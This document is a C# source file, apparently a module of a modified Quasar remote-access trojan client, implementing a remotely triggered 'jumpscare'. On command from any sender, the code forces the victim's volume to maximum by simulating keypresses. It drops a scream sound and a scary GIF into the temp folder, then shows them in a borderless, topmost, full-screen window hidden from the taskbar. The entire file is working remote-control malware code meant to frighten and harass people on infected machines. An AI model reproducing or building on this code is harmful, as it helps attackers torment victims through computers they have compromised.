using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class JumpscareHandler : IMessageProcessor
    {
        [DllImport("user32.dll")]
        private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);

        private const byte VK_VOLUME_UP = 0xAF;

        private static void MaximizeVolume()
        {
            for (int i = 0; i < 50; i++)
                keybd_event(VK_VOLUME_UP, 0, 0, 0);
        }

        public bool CanExecute(IMessage message) => message is DoJumpscare;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            if (message is DoJumpscare js)
                new Thread(() => RunJumpscare(js)) { IsBackground = true }.Start();
        }

        private static byte[] GzipDecompress(byte[] data)
        {
            using (var input = new MemoryStream(data))
            using (var gz = new GZipStream(input, CompressionMode.Decompress))
            using (var output = new MemoryStream())
            {
                gz.CopyTo(output);
                return output.ToArray();
            }
        }

        private void RunJumpscare(DoJumpscare js)
        {
            MaximizeVolume();

            string wavPath = Path.Combine(Path.GetTempPath(), "js_scream.wav");
            string gifPath = Path.Combine(Path.GetTempPath(), "js_scary.gif");

            try { File.WriteAllBytes(wavPath, GzipDecompress(js.WavData)); } catch { }
            try { File.WriteAllBytes(gifPath, GzipDecompress(js.GifData)); } catch { }

            Form form = null;

            var uiThread = new Thread(() =>
            {
                try
                {
                    using (var player = new System.Media.SoundPlayer(wavPath))
                        player.Play();

                    Image gif = null;
                    try { gif = Image.FromFile(gifPath); } catch { }

                    form = new Form
                    {
                        FormBorderStyle = FormBorderStyle.None,
                        WindowState = FormWindowState.Maximized,
                        TopMost = true,
                        BackColor = Color.Black,
                        ShowInTaskbar = false,
                    };

                    if (gif != null)
                    {
                        var pb = new PictureBox
                        {
                            Image = gif,
                            Dock = DockStyle.Fill,
                            SizeMode = PictureBoxSizeMode.StretchImage,
                        };
                        form.Controls.Add(pb);
                    }

                    Application.Run(form);
                }
                catch { }
            });
            uiThread.SetApartmentState(ApartmentState.STA);
            uiThread.IsBackground = true;
            uiThread.Start();

            // wait for form to be created, then close it after 2 seconds
            Thread.Sleep(2500);
            try
            {
                if (form != null && !form.IsDisposed)
                    form.Invoke(new Action(() => form.Close()));
            }
            catch { }
        }
    }
}
